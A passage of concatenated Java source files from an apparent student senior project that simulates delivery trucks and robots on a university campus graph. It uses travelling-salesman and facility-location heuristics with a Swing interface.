double nodeDistance = Math.sqrt((nx+ny));
return nodeDistance; // return is the direct distance between any two nodes on a xy-plane
}
public String toString() // UNUSED toString() override
{
return getNodeName();
}
}<file_sep>// Created by <NAME>
// UITruck version 2.0
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.border.EmptyBorder;
import java.awt.geom.*;
import java.util.ArrayList;
import java.util.Random;
public class UIFrame extends JFrame
{
private JPanel mainPanel, controlPanel;
private UICanvas mapPanel;
private ArrayList<UINode> mapPanelList = new ArrayList<>();
private boolean stillRun;
private Timer timer;
public UIFrame(UICanvas _mapCanvas)
{
stillRun = true;
mainPanel = new JPanel();
mapPanel = _mapCanvas;
mapPanelList = _mapCanvas.getNodeList();
createUIFrame();
}
public void createUIFrame()
{
// Retrieve the top-level content-pane from JFrame
mainPanel = new JPanel();
// Content-pane sets layout
mainPanel.setLayout(new BorderLayout(1,1));
mainPanel.setBorder(new EmptyBorder(5,5,5,5));
controlPanel = new JPanel();
if(stillRun = true)
{
runSimButton();
mapPanel.repaint();
}
// Content-pane adds components
controlPanel.add(new JLabel("Kennesaw State University Marietta Campus Simulation"));
JButton runBtn = new JButton("Run");
controlPanel.add(runBtn);
runBtn.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e)
{
if(runBtn.getText().equals("Run"))
{
timer.start();
runBtn.setText("Stop");
stillRun = false;
// runBtn.updateUI();
// runSimButton();
// repaint();
}
else if(runBtn.getText().equals("Stop"))
{
runBtn.setText("Run");
stillRun = true;
timer.stop();
}
}
});
timer = new Timer(2, new ActionListener() {
public void actionPerformed(ActionEvent e)
{
if(stillRun = false)
{
}
else if(stillRun = true)
{
runSimButton();
repaint();
}
}
});
timer.start();
mainPanel.add(controlPanel, BorderLayout.SOUTH);
mainPanel.add(mapPanel, BorderLayout.NORTH);
// Source object adds listener
// .....
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
// Exit the program when the close-window button clicked
setContentPane(mainPanel);
setBackground(Color.BLACK);
setTitle("Pamelo Simulation"); // "super" JFrame sets title
setSize(1000, 700); // "super" JFrame sets initial size
setVisible(true); // "super" JFrame shows
}
private void runSimButton() // TODO: Replace with TSP/FLP combo simulation
{
// mapPanel.moveEverything();
mapPanel.updateList(mapPanelList);
canvasPaint();
//
// Original Test Code
// Random Colors
// Code below
/*
System.out.println("The Button works!!!!");
ArrayList <UINode> tempList = mapPanelList;
Random rand = new Random();
int changeColor, colorNode;
for(int i = 0; i<5000000; i++)
{
changeColor = rand.nextInt(5)+1;
colorNode = rand.nextInt(mapPanelList.size());
if(changeColor == 1)
tempList.get(colorNode).setNodeColor(Color.RED);
if(changeColor == 3)
tempList.get(colorNode).setNodeColor(Color.YELLOW);
if(changeColor == 5)
tempList.get(colorNode).setNodeColor(Color.WHITE);
mapPanel.setTruckALocation(tempList.get(colorNode).getNodeName());
mapPanel.setTruckAX(tempList.get(colorNode).getNodeX());
mapPanel.setTruckAY(tempList.get(colorNode).getNodeY());
mapPanel.setTruckBLocation("B");
mapPanel.setTruckBX(420);
mapPanel.setTruckBY(350);
mapPanel.moveEverything();
canvasPaint();
}
*/
}
public void updateNodeList(ArrayList<UINode> temp)
{
mapPanelList = temp;
}
public ArrayList<UINode> getNodeList()
{
return mapPanelList;
}
public void setRun(boolean setRunning)
{
stillRun = setRunning;
}
public void canvasPaint()
{
mapPanel.repaint();
}
}<file_sep>import java.util.ArrayList;
public class UITruck
{
private String currentTruckNode, destinationNode;
private ArrayList<UINode> parrallelList;
private static int truckSpeed = 1;
private int truckX, truckY;
public UITruck(ArrayList <UINode> nodeList)
{
parrallelList = nodeList;
}
public void setTruckNode(String nodeName) // sets the current node the Truck is at or supposed to be at
{
for(int i = 0; i<parrallelList.size(); i++)
{
if(parrallelList.get(i).getNodeName() == nodeName)
{
currentTruckNode = nodeName;
}
}
}
public void setDestTruck(String moveNode) // sets the destination node of the truck
{
destinationNode = moveNode;
}
public void setX(int _x) // sets the X coordinate of the truck
{
truckX = _x;
}
public void setY(int _y) // sets the Y coordinate of the map
{
truckY = _y;
}
public String getCurrentNode() // gets the current node the truck is at or supposed to be at
{
return currentTruckNode;
}
public String getDestTruck() // gets the node the truck is supposed to be going to
{
return destinationNode;
}
public int getSpeed() // gets the speed of the truck
{
return truckSpeed;
}
public int getX() // gets the X coordinate of the truck
{
return truckX;
}
public int getY() // gets the Y coordinates of the truck
{
return truckY;
}
public void moveTruck() // Moves the Truck to destination node. Only changes values
{
UINode tempNode = new UINode(" ", " ", 0, 0);
for(int i = 0; i<parrallelList.size(); i++)
{
if(getDestTruck() == parrallelList.get(i).getNodeName())
tempNode = parrallelList.get(i);
}
if(Math.abs(tempNode.getNodeX() - getX()) > 3 )
{
if(tempNode.getNodeX() > getX())
setX(getX() + getSpeed());
else if(tempNode.getNodeX() < getX())
setX(getX() - getSpeed());
}
if(Math.abs(tempNode.getNodeY() - getY()) > 3 )
{
if(tempNode.getNodeY() > getY())
setY(getY() + getSpeed());
else if(tempNode.getNodeY() < getY())
setY(getY() - getSpeed());
}
}
public String toString() // toString() override
{
return getCurrentNode().toString();
}
}<file_sep>import java.util.Timer;
public class Order {
private String node;
private boolean serviced;
private long startTime;
public Order(String node) {
this.node = node;
serviced = false;
startTime = System.nanoTime();
}
public Order() {
startTime = System.nanoTime();
}
public void robotSent(double cost){
// speed of robot is .05 cm per second
/*
System.out.println("COST: " + cost);
System.out.println("START TIME: " + startTime);
System.out.println("NANO: " + System.nanoTime());*/
long distanceTime = (long) (cost / .05);
long time = (System.nanoTime() - startTime) / 1000000000;
long newTime = time + distanceTime;
int hours = (int) newTime / 3600;
int minutes = ((int)newTime % 3600) / 60;
long seconds = newTime % 60;
String timeString = String.format("%02d:%02d:%02d", hours, minutes, seconds);
//Main.orders.remove(Order.this);
/*
for(int i = Main.orders.size() - 1; i >= 0; i--){
System.out.println();
if(Main.orders.get(i).equals(Order.this)){
//System.out.println("i: " + i);
Main.orders.remove(i);
}
}*/
System.out.println("TIME: " + timeString);
/*
long delay = (long) (cost / 1) * 1000;
Timer timer = new Timer();
timer.schedule(
new java.util.TimerTask() {
@Override
public void run() {
System.out.println("NUMBER OF ORDERS: " + Main.orders.size());
for(int i = Main.orders.size() - 1; i >= 0; i--){
if(Main.orders.get(i).equals(Order.this)){
System.out.println("Order: " + Main.orders.get(i).getNode() + " delivered. Time Elapsed: " + ((System.nanoTime() - Main.orders.get(i).startTime) / 1000000000));
Main.orders.remove(i);
}
}
timer.cancel();
}
},
delay
);*/
}
public boolean isServiced() {
return serviced;
}
public void setServiced(boolean serviced) {
this.serviced = serviced;
}
public String getNode() {
return node;
}
public void setNode(String node) {
this.node = node;
}
}
<file_sep># Senior-Project-TSP-FLP<file_sep>import javafx.util.Pair;
import org.apache.poi.hssf.usermodel.HSSFCell;
import org.apache.poi.hssf.usermodel.HSSFRow;
import org.apache.poi.hssf.usermodel.HSSFSheet;
import org.apache.poi.hssf.usermodel.HSSFWorkbook;
import org.apache.poi.poifs.filesystem.POIFSFileSystem;
import org.jgrapht.Graph;
import org.jgrapht.generate.CompleteGraphGenerator;
import org.jgrapht.graph.DefaultEdge;
import org.jgrapht.graph.DefaultUndirectedWeightedGraph;
import org.jgrapht.graph.DefaultWeightedEdge;
import org.jgrapht.traverse.DepthFirstIterator;
import org.jgrapht.util.SupplierUtil;
import java.io.*;
import java.util.*;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.concurrent.ThreadLocalRandom;
import java.util.function.Supplier;
import org.jgrapht.alg.shortestpath.DijkstraShortestPath;
import org.apache.commons.lang3.*;
public class Main {
private static Graph<String, DefaultWeightedEdge> completeGraph;
public static Graph<String, DefaultWeightedEdge> completeTruckGraph;
public static volatile CopyOnWriteArrayList<Order> orders;
public static double flpCoefficient, orderFunctionCoefficient;
public static int numOrdersCap;
public static OrderGenerator orderGenerator;
private static Timer timer;
public static void main(String[] args) {
orders = new CopyOnWriteArrayList<>();
initializeGraph(22);
/*
TODO: CREATE GUI WITH GRAPH OVERLAY
*/
numOrdersCap = 0;
flpCoefficient = 1;
orderFunctionCoefficient = 1;
timer = new Timer();
boolean firstFacilityTurn = true;
TSP tsp = new TSP(completeGraph);
Map<String, BaseLocation> baseLocationMap = tsp.getBaseLocation(completeGraph.vertexSet());
String firstFacilityLocation = "";
String secondFacilityLocation = "";
for(Map.Entry<String, BaseLocation> entry: baseLocationMap.entrySet()){
BaseLocation baseLocation = entry.getValue();
if(entry.getKey().equals("first")){
firstFacilityLocation = baseLocation.getFirst();
System.out.println("FIRST FACILITY: " + baseLocation.getFirst());
System.out.println("FIRST FACILITY: " + baseLocation.getSecond());
System.out.println("FIRST FACILITY: " + baseLocation.getThird());
completeTruckGraph.setEdgeWeight(baseLocation.getFirst(), baseLocation.getSecond(), 1.0);
completeTruckGraph.setEdgeWeight(baseLocation.getFirst(), baseLocation.getThird(), 1.0);
completeTruckGraph.setEdgeWeight(baseLocation.getSecond(), baseLocation.getThird(), 1.0);
/*
TODO: MARK BASE LOCATIONS FOR FIRST FACILITY
*/
}
else if(entry.getKey().equals("second")){
secondFacilityLocation = baseLocation.getFirst();
System.out.println("SECOND FACILITY: " + baseLocation.getFirst());
System.out.println("SECOND FACILITY: " + baseLocation.getSecond());
System.out.println("SECOND FACILITY: " + baseLocation.getThird());
completeTruckGraph.setEdgeWeight(baseLocation.getFirst(), baseLocation.getSecond(), 1.0);
completeTruckGraph.setEdgeWeight(baseLocation.getFirst(), baseLocation.getThird(), 1.0);
completeTruckGraph.setEdgeWeight(baseLocation.getSecond(), baseLocation.getThird(), 1.0);
/*
TODO: MARK BASE LOCATIONS FOR SECOND FACILITY
*/
}
System.out.println();
}
System.out.println();
orderGenerator = new OrderGenerator();
orderGenerator.run();
try
{
Thread.sleep(2000);
}
catch(InterruptedException ex)
{
Thread.currentThread().interrupt();
}
FLP flp = new FLP(completeTruckGraph);
OrderFunction orderFunction = new OrderFunction(completeGraph);
while(orders.size() > 0){
promptEnterKey();
if(firstFacilityTurn){
System.out.println("ORDER SIZE: " + orders.size());
// first facility movement
flp.setFirstFacilityTurn();
FLPResult flpResult = flp.GetNextBestMove(firstFacilityLocation, secondFacilityLocation);
Pair<SphereOfInfluence, SphereOfInfluence> sphereOfInfluencePair = flp.CalculateSphereOfInfluence(firstFacilityLocation, secondFacilityLocation);
orderFunction.setSphereOfInfluence(sphereOfInfluencePair.getKey());
orderFunction.setOrders(orders);
OrderFunctionResult orderFunctionResult = orderFunction.GetNextMove(secondFacilityLocation);
double flpCost = flpResult.getCost() * flpCoefficient;
double orderCost = orderFunctionResult.getCost() * orderFunctionCoefficient;
String facilityLocationBeforeMove = firstFacilityLocation;
// move according to flp
if(flpCost < orderCost){
//System.out.println("First FLP");
flpCoefficient += .1;
if(orderFunctionCoefficient >= .1) {
orderFunctionCoefficient -= .1;
}
firstFacilityLocation = flpResult.getDestinationNode();
}
// move according to order
else{
//System.out.println("First Order");
if(flpCoefficient >= .1) {
flpCoefficient -= .1;
}
orderFunctionCoefficient += .1;
firstFacilityLocation = orderFunctionResult.getDestinationNode();
}
MarkOrdersAsServiced(firstFacilityLocation);
SendRobots(orderFunctionResult, firstFacilityLocation);
firstFacilityTurn = false;
System.out.println("First Facility Turn");
System.out.println("Before: " + facilityLocationBeforeMove);
System.out.println("After: " + firstFacilityLocation);
/*
TODO: THIS IS THE FIRST FACILITY MOVEMENT
TODO: facilityLocationBeforeMove IS THE NODE FACILITY WAS AT BEFORE MOVING
TODO: firstFacilityLocation IS THE NODE FACILITY MOVES TO
*/
}
else{
System.out.println("ORDER SIZE: " + orders.size());
flp.setSecondFacilityTurn();
FLPResult flpResult = flp.GetNextBestMove(firstFacilityLocation, secondFacilityLocation);
// flip parameter order and have second facility in first parameter
// this is because CalculateSphereOfInfluence() uses the first parameter as the location that moves first, which in this case should be the second facility
Pair<SphereOfInfluence, SphereOfInfluence> sphereOfInfluencePair = flp.CalculateSphereOfInfluence(secondFacilityLocation, firstFacilityLocation);
orderFunction.setSphereOfInfluence(sphereOfInfluencePair.getKey());
orderFunction.setOrders(orders);
OrderFunctionResult orderFunctionResult = orderFunction.GetNextMove(firstFacilityLocation);
double flpCost = flpResult.getCost() * flpCoefficient;
double orderCost = orderFunctionResult.getCost() * orderFunctionCoefficient;
String facilityLocationBeforeMove = secondFacilityLocation;
// move according to flp
if(flpCost < orderCost){
//System.out.println("Second FLP");
//System.out.println();
flpCoefficient += .1;
if(orderFunctionCoefficient >= .1) {
orderFunctionCoefficient -= .1;
}
secondFacilityLocation = flpResult.getDestinationNode();
}
// move according to order
else{
//System.out.println("Second Order");
//System.out.println();
if(flpCoefficient >= .1) {
flpCoefficient -= .1;
}
orderFunctionCoefficient += .1;
secondFacilityLocation = orderFunctionResult.getDestinationNode();
}
MarkOrdersAsServiced(secondFacilityLocation);
SendRobots(orderFunctionResult, secondFacilityLocation);
firstFacilityTurn = true;
System.out.println("Second Facility Turn");
System.out.println("Before: " + facilityLocationBeforeMove);
System.out.println("After: " + secondFacilityLocation);
/*
TODO: THIS IS THE SECOND FACILITY MOVEMENT
TODO: facilityLocationBeforeMove IS THE NODE FACILITY WAS AT BEFORE MOVING
TODO: secondFacilityLocation IS THE NODE FACILITY MOVES TO
*/
}
}
}
public static void SendRobots(OrderFunctionResult orderFunctionResult, String facilityLocation){
for(int i = orders.size() - 1; i >= 0; i--){
for(int j = orderFunctionResult.getOrdersInInfluence().size() - 1; j >= 0; j--){
if(orders.get(i).getNode().equals(orderFunctionResult.getOrdersInInfluence().get(j))){
orders.get(i).setServiced(true);
orders.get(i).robotSent(new DijkstraShortestPath<>(completeGraph).getPathWeight(orders.get(i).getNode(), facilityLocation));
orders.remove(i);
/*
TODO: orders.get(i).getNode() IS THE ORDER THAT IS BEING TAKEN CARE OF BY THE ROBOT
*/
break;
}
}
}
System.out.println("ORDERS SIZE AFTER: " + orders.size());
}
public static void MarkOrdersAsServiced(String facilityLocation){
for(int i = orders.size() - 1; i >= 0; i--){
if(orders.get(i).getNode().equals(facilityLocation)){
orders.get(i).setServiced(true);
}
}
}
// method that initializes a complete weighted undirected graph
private static void initializeGraph(int numOfNodes){
// Create the VertexFactory so the generator can create vertices
Supplier<String> vSupplier = new Supplier<String>()
{
private int id = 1;
@Override
public String get()
{
return getCharForNumber(id++);
}
private String getCharForNumber(int i) {
return i > 0 && i < 27 ? String.valueOf((char)(i + 'A' - 1)) : null;
}
};
completeGraph = new DefaultUndirectedWeightedGraph<>(vSupplier, SupplierUtil.createDefaultWeightedEdgeSupplier());
vSupplier = new Supplier<String>()
{
private int id = 1;
@Override
public String get()
{
return getCharForNumber(id++);
}
private String getCharForNumber(int i) {
return i > 0 && i < 27 ? String.valueOf((char)(i + 'A' - 1)) : null;
}
};
completeTruckGraph = new DefaultUndirectedWeightedGraph<>(vSupplier, SupplierUtil.createDefaultWeightedEdgeSupplier());
// Create the CompleteGraphGenerator object
CompleteGraphGenerator<String, DefaultWeightedEdge> completeGenerator =
new CompleteGraphGenerator<>(numOfNodes);
// Use the CompleteGraphGenerator object to make completeGraph a
// complete graph with [size] number of vertices
completeGenerator.generateGraph(completeGraph);
completeGenerator.generateGraph(completeTruckGraph);
try {
Scanner scanner = new Scanner(new File("NodeTextList.txt"));
while (scanner.hasNextLine()) {
String line = scanner.nextLine();
String[] lineArray = line.split(",");
completeGraph.setEdgeWeight(lineArray[0], lineArray[1], Double.parseDouble(lineArray[2]));
completeTruckGraph.setEdgeWeight(lineArray[0], lineArray[1], Double.parseDouble(lineArray[2]));
}
}
catch (FileNotFoundException e){
e.printStackTrace();
}
}
// method that generates "orders" at random vertices
private static void generateOrder(){
Set<String> nodes = completeGraph.vertexSet();
// convert set to list so that a random index can be used to get a random node
List<String> nodesList = new ArrayList<>(nodes);
// generate random number
int randomNumber = ThreadLocalRandom.current().nextInt(0, nodes.size());
// create new order
Order order = new Order();
order.setNode(nodesList.get(randomNumber));
orders.add(orders.size(), order);
//System.out.println("GENERATE");
numOrdersCap++;
/*
TODO: MARK NODE WITH ORDER
*/
}
// timer that generates orders every random seconds to replicate real life
// random seconds is between 1-4 seconds
public static class OrderGenerator extends TimerTask {
private boolean ordersComplete = false;
public void run() {
//int delay = (1 + new Random().nextInt(4)) * 1000;
timer.schedule(new OrderGenerator(), 500);
generateOrder();
this.cancel();
}
public boolean getOrderStatus(){
return ordersComplete;
}
}
private static void promptEnterKey(){
System.out.println("Press \"ENTER\" to move facility...");
Scanner scanner = new Scanner(System.in);
scanner.nextLine();
}
}
<file_sep>import org.jgrapht.Graph;
import org.jgrapht.graph.DefaultWeightedEdge;
import java.util.*;
public class TSP {
private Graph<String, DefaultWeightedEdge> completeGraph;
private List<DefaultWeightedEdge> edgeVisited;
private ArrayList<String> unvisitedNodes;
private List<Heuristic> topHeuristics;
public TSP(Graph<String, DefaultWeightedEdge> completeGraph){
this.completeGraph = completeGraph;
}
public Map<String, BaseLocation> getBaseLocation(Set<String> vertices){
topHeuristics = new ArrayList<>();
String[] arrayVertices = vertices.toArray(new String[0]);
Comparator<Heuristic> comparator = new Comparator<Heuristic>() {
public int compare(Heuristic h1, Heuristic h2) {
//System.out.println("H1 Cost: " + h1.getCost());
//System.out.println("H2 Cost: " + h2.getCost());
return Double.compare(h1.getCost(), (h2.getCost()));
}
};
getTopHeuristics(arrayVertices, comparator);
while(topHeuristics.size() < 3){
getTopHeuristics(arrayVertices, comparator);
}
BaseLocation firstBaseLocation = new BaseLocation();
BaseLocation secondBaseLocation = new BaseLocation();
for(int i = 0; i < topHeuristics.size(); i++){
if(firstBaseLocation.getFirst() == null){
firstBaseLocation.setFirst(topHeuristics.get(i).getFirstFacilityPosition());
secondBaseLocation.setFirst(topHeuristics.get(i).getSecondFacilityPosition());
}
else if(firstBaseLocation.getSecond() == null){
firstBaseLocation.setSecond(topHeuristics.get(i).getFirstFacilityPosition());
secondBaseLocation.setSecond(topHeuristics.get(i).getSecondFacilityPosition());
}
else if(firstBaseLocation.getThird() == null){
firstBaseLocation.setThird(topHeuristics.get(i).getFirstFacilityPosition());
secondBaseLocation.setThird(topHeuristics.get(i).getSecondFacilityPosition());
}
}
// create a map that stores the two facilities with their base locations
Map<String, BaseLocation> baseLocationMap = new HashMap<>();
baseLocationMap.put("first", firstBaseLocation);
baseLocationMap.put("second", secondBaseLocation);
return baseLocationMap;
}
private void getTopHeuristics(String[] arrayVertices, Comparator<Heuristic> comparator){
// iterate through all possible starting positions for 2 trucks
for(int i = 0; i < arrayVertices.length; i++){
String firstTruckPosition = arrayVertices[i];
for(int j = 0; j < arrayVertices.length; j++){
// evaluate if both facilities are not at same location
if(i != j){
String secondTruckPosition = arrayVertices[j];
// make a nodes visited list
unvisitedNodes = new ArrayList<>(Arrays.asList(arrayVertices));
// update heuristic list with best heuristics and facility positions
// evaluate facilities with both facilities in different order
// different ordering may result in different heuristic
evaluateHeuristic(firstTruckPosition, secondTruckPosition, comparator);
evaluateHeuristic(secondTruckPosition, firstTruckPosition, comparator);
}
}
}
}
private void evaluateHeuristic(String firstTruckPosition, String secondTruckPosition, Comparator<Heuristic> comparator){
double cost = runTSP(firstTruckPosition, secondTruckPosition);
// make sure heuristic list is sorted before binary search
topHeuristics.sort(new Comparator<Heuristic>() {
// define what to sort by
@Override
public int compare(Heuristic o1, Heuristic o2) {
return Double.compare(o1.getCost(), (o2.getCost()));
}
});
Heuristic heuristic = new Heuristic(firstTruckPosition, secondTruckPosition, cost);
// get index to be inserted at
int index = Collections.binarySearch(topHeuristics, heuristic, comparator);
//System.out.println("COST: " + cost);
// heuristic was found with same cost
// insert into index it was found
if(index >= 0){
//System.out.println("Index: " + index);
/*
if(!duplicateFacilityPosition(index, heuristic)) {
topHeuristics.add(index, heuristic);
}*/
}
// heuristic was not found with same cost
// index returned is a negative number
else{
int adjustedIndex = (index * -1) - 1;
//System.out.println("Index: " + adjustedIndex);
//System.out.println("Top: " + topHeuristics.size());
// heuristic should be added to list
//System.out.println("Index: " + index);
//System.out.println("Adjusted Index: " + adjustedIndex);
if(adjustedIndex < topHeuristics.size() + 1){
if(!duplicateFacilityPosition(adjustedIndex, heuristic)) {
topHeuristics.add(adjustedIndex, heuristic);
}
}
}
// only keep the top 3 heuristics
if(topHeuristics.size() > 3){
// remove from end of list, since list is in ascending order of cost
// remove worst cost
topHeuristics.remove(topHeuristics.size() - 1);
}
/*
for(int i = 0; i < topHeuristics.size(); i++){
System.out.println("FirstEvaluate: " + topHeuristics.get(i).firstFacilityPosition + " ; Cost: " + topHeuristics.get(i).getCost());
System.out.println("SecondEvaluate: " + topHeuristics.get(i).secondFacilityPosition + " ; Cost: " + topHeuristics.get(i).getCost());
}
System.out.println();*/
for(int i = topHeuristics.size() - 1; i >= 0; i--){
String firstTruck = topHeuristics.get(i).firstFacilityPosition;
String secondTruck = topHeuristics.get(i).secondFacilityPosition;
for(int j = i - 1; j >= 0; j--){
String firstTruckCompare = topHeuristics.get(j).firstFacilityPosition;
String secondTruckCompare = topHeuristics.get(j).secondFacilityPosition;
// remove worst cost which would be at index i since the for loop is reversed
// element is compared to element before it (better cost)
if(firstTruck.equals(firstTruckCompare) || secondTruck.equals(secondTruckCompare) ||
firstTruck.equals(secondTruckCompare) || secondTruck.equals(firstTruckCompare)){
topHeuristics.remove(i);
// this prevents index out of bounds exception since the outer loop index is used to remove from list
break;
}
}
}
}
// this method prevents heuristics being added to top heuristic list if it's worse and if one of the facility locations already exists in top heuristic list
// this ensures that heuristics being added contain unique facility locations
private boolean duplicateFacilityPosition(int index, Heuristic heuristic){
//System.out.println("INDEX: " + index);
for(int i = 0; i < index; i++){
Heuristic topHeuristic = topHeuristics.get(i);
if(topHeuristic.getFirstFacilityPosition().equals(heuristic.getFirstFacilityPosition()) || topHeuristic.getFirstFacilityPosition().equals(heuristic.getSecondFacilityPosition()) ||
topHeuristic.getSecondFacilityPosition().equals(heuristic.getFirstFacilityPosition()) || topHeuristic.getSecondFacilityPosition().equals(heuristic.getSecondFacilityPosition())){
return true;
}
}
return false;
}
private double runTSP(String firstTruckPosition, String secondTruckPosition){
// set variables for sum of edge weights and number of robots sent per facility
double firstFacilityCost = 0;
int firstFacilityNumRobots = 1;
double secondFacilityCost = 0;
int secondFacilityNumRobots = 1;
String firstCurrentNode = firstTruckPosition;
String secondCurrentNode = secondTruckPosition;
// all edges from starting positions
List<DefaultWeightedEdge> edgesFromFirstStart = new ArrayList<>(completeGraph.edgesOf(firstTruckPosition));
List<DefaultWeightedEdge> edgesFromSecondStart = new ArrayList<>(completeGraph.edgesOf(secondTruckPosition));
// list of all edges visited
// if edge has been visited, don't use it
edgeVisited = new ArrayList<>();
// remove the starting nodes from list
unvisitedNodes.remove(firstTruckPosition);
unvisitedNodes.remove(secondTruckPosition);
// send out robot as first move for both trucks
firstCurrentNode = firstMove(edgesFromFirstStart, completeGraph.getEdge(firstTruckPosition, secondTruckPosition), firstTruckPosition);
secondCurrentNode = firstMove(edgesFromSecondStart, completeGraph.getEdge(firstTruckPosition, secondTruckPosition), secondTruckPosition);
unvisitedNodes.remove(firstCurrentNode);
unvisitedNodes.remove(secondCurrentNode);
// run algorithm until all nodes have been visited
while(unvisitedNodes.size() > 0){
// get all edges from first facility's current node
List<DefaultWeightedEdge> firstCurrentNodeEdges = new ArrayList<>(completeGraph.edgesOf(firstCurrentNode));
// first facility's next move
// this will return the node it travelled to, the cost of moving, and if it send out a new robot
ReturnValueMove firstReturnValue = nextMove(edgesFromFirstStart, firstCurrentNodeEdges, firstCurrentNode, firstTruckPosition);
// assign node travelled to as current node for first facility
firstCurrentNode = firstReturnValue.getNode();
// add travel cost to overall cost
firstFacilityCost += firstReturnValue.getEdgeWeight();
// if new robot was sent, increment variable
if(firstReturnValue.isNewRobotSent()){
firstFacilityNumRobots++;
}
// mark node as visited by removing from unvisited list
unvisitedNodes.remove(firstCurrentNode);
// check to see if all nodes have been visited before the second facility's turn
if(unvisitedNodes.size() > 0) {
// get all edges from second facility's current node
List<DefaultWeightedEdge> secondCurrentNodeEdges = new ArrayList<>(completeGraph.edgesOf(secondCurrentNode));
// second facility's next move
// this will return the node it travelled to, the cost of moving, and if it send out a new robot
ReturnValueMove secondReturnValue = nextMove(edgesFromSecondStart, secondCurrentNodeEdges, secondCurrentNode, secondTruckPosition);
secondCurrentNode = secondReturnValue.getNode();
secondFacilityCost += secondReturnValue.getEdgeWeight();
if(secondReturnValue.isNewRobotSent()){
secondFacilityNumRobots++;
}
unvisitedNodes.remove(secondCurrentNode);
}
}
double tspCost = (firstFacilityCost / firstFacilityNumRobots) + (secondFacilityCost / secondFacilityNumRobots);
return tspCost;
}
// edgeToRemove is the edge between the two starting points, which you don't want to traverse
// it is removed from the list of possible edges to take
private String firstMove(List<DefaultWeightedEdge> edgesFromStart, DefaultWeightedEdge edgeToRemove, String startNode){
edgesFromStart.remove(edgeToRemove);
DefaultWeightedEdge minEdge = null;
for(int i = 0; i < edgesFromStart.size(); i++){
if(i == 0){
minEdge = edgesFromStart.get(i);
}
else{
if(completeGraph.getEdgeWeight(edgesFromStart.get(i)) < completeGraph.getEdgeWeight(minEdge)){
minEdge = edgesFromStart.get(i);
}
}
}
edgeVisited.add(minEdge);
if(!completeGraph.getEdgeTarget(minEdge).equals(startNode)){
return completeGraph.getEdgeTarget(minEdge);
}
else{
return completeGraph.getEdgeSource(minEdge);
}
}
private ReturnValueMove nextMove(List<DefaultWeightedEdge> edgesFromStart, List<DefaultWeightedEdge> edgesFromCurrent, String currentNode, String truckNode){
// remove edge connecting current node to start node
edgesFromCurrent.remove(completeGraph.getEdge(currentNode, truckNode));
// only compare edges that haven't been visited
for(int i = edgesFromStart.size() - 1; i >= 0; i--){
for(int j = 0; j < edgeVisited.size(); j++){
if(edgeVisited.get(j).toString().equals(edgesFromStart.get(i).toString())){
edgesFromStart.remove(i);
break;
}
}
}
// only compare edges that haven't been visited
for(int i = edgesFromCurrent.size() - 1; i >= 0; i--){
for(int j = 0; j < edgeVisited.size(); j++){
if(edgeVisited.get(j).toString().equals(edgesFromCurrent.get(i).toString())){
edgesFromCurrent.remove(i);
break;
}
}
}
// get lowest edge weight from current node
DefaultWeightedEdge minEdgeFromCurrent = null;
for(int i = 0; i < edgesFromCurrent.size(); i++){
if(i == 0){
minEdgeFromCurrent = edgesFromCurrent.get(i);
}
else{
if(completeGraph.getEdgeWeight(edgesFromCurrent.get(i)) < completeGraph.getEdgeWeight(minEdgeFromCurrent)){
minEdgeFromCurrent = edgesFromCurrent.get(i);
}
}
}
// get lowest edge weight from start node
DefaultWeightedEdge minEdgeFromStart = null;
for(int i = 0; i < edgesFromStart.size(); i++){
if(i == 0){
minEdgeFromStart = edgesFromStart.get(i);
}
else{
if(completeGraph.getEdgeWeight(edgesFromStart.get(i)) < completeGraph.getEdgeWeight(minEdgeFromStart)){
minEdgeFromStart = edgesFromStart.get(i);
}
}
}
// continue path of current robot
if(completeGraph.getEdgeWeight(minEdgeFromCurrent) < completeGraph.getEdgeWeight(minEdgeFromStart)){
edgeVisited.add(minEdgeFromCurrent);
// check to see which node to travel
// don't want to travel to node already on
if(!completeGraph.getEdgeTarget(minEdgeFromCurrent).equals(currentNode)){
return new ReturnValueMove(completeGraph.getEdgeWeight(minEdgeFromCurrent), completeGraph.getEdgeTarget(minEdgeFromCurrent), false);
}
else{
return new ReturnValueMove(completeGraph.getEdgeWeight(minEdgeFromCurrent), completeGraph.getEdgeSource(minEdgeFromCurrent), false);
}
}
// discontinue current robot and send out a new one
else{
edgeVisited.add(minEdgeFromStart);
// since edge has 2 vertices, check to see which node is not the start
if(!completeGraph.getEdgeTarget(minEdgeFromStart).equals(truckNode)){
return new ReturnValueMove(completeGraph.getEdgeWeight(minEdgeFromStart), completeGraph.getEdgeTarget(minEdgeFromStart), true);
}
else{
return new ReturnValueMove(completeGraph.getEdgeWeight(minEdgeFromStart), completeGraph.getEdgeSource(minEdgeFromStart), true);
}
}
}
// class that keeps track of the best heuristics
private class Heuristic{
private String firstFacilityPosition, secondFacilityPosition;
private double cost;
public Heuristic(String firstFacilityPosition, String secondFacilityPosition, double cost) {
this.firstFacilityPosition = firstFacilityPosition;
this.secondFacilityPosition = secondFacilityPosition;
this.cost = cost;
}
public String getFirstFacilityPosition() {
return firstFacilityPosition;
}
public void setFirstFacilityPosition(String firstFacilityPosition) {
this.firstFacilityPosition = firstFacilityPosition;
}
public String getSecondFacilityPosition() {
return secondFacilityPosition;
}
public void setSecondFacilityPosition(String secondFacilityPosition) {
this.secondFacilityPosition = secondFacilityPosition;
}
public double getCost() {
return cost;
}
public void setCost(double cost) {
this.cost = cost;
}
}
// values that are returned when a facility makes a move
private class ReturnValueMove{
private double edgeWeight;
private String node;
private boolean newRobotSent = false;
public ReturnValueMove(double edgeWeight, String node, boolean newRobotSent){
this.edgeWeight = edgeWeight;
this.node = node;
this.newRobotSent = newRobotSent;
}
public double getEdgeWeight() {
return edgeWeight;
}
public void setEdgeWeight(double edgeWeight) {
this.edgeWeight = edgeWeight;
}
public String getNode() {
return node;
}
public void setNode(String node) {
this.node = node;
}
public boolean isNewRobotSent() {
return newRobotSent;
}
public void setNewRobotSent(boolean newRobotSent) {
this.newRobotSent = newRobotSent;
}
}
}
<file_sep>import java.util.List;
public class OrderFunctionResult {
private String destinationNode;
private List<String> ordersInInfluence;
private double cost;
public OrderFunctionResult(String destinationNode, double cost, List<String> ordersInInfluence) {
this.destinationNode = destinationNode;
this.cost = cost;
this.ordersInInfluence = ordersInInfluence;
}
public OrderFunctionResult() {
}
public List<String> getOrdersInInfluence() {
return ordersInInfluence;
}
public void setOrdersInInfluence(List<String> ordersInInfluence) {
this.ordersInInfluence = ordersInInfluence;
}
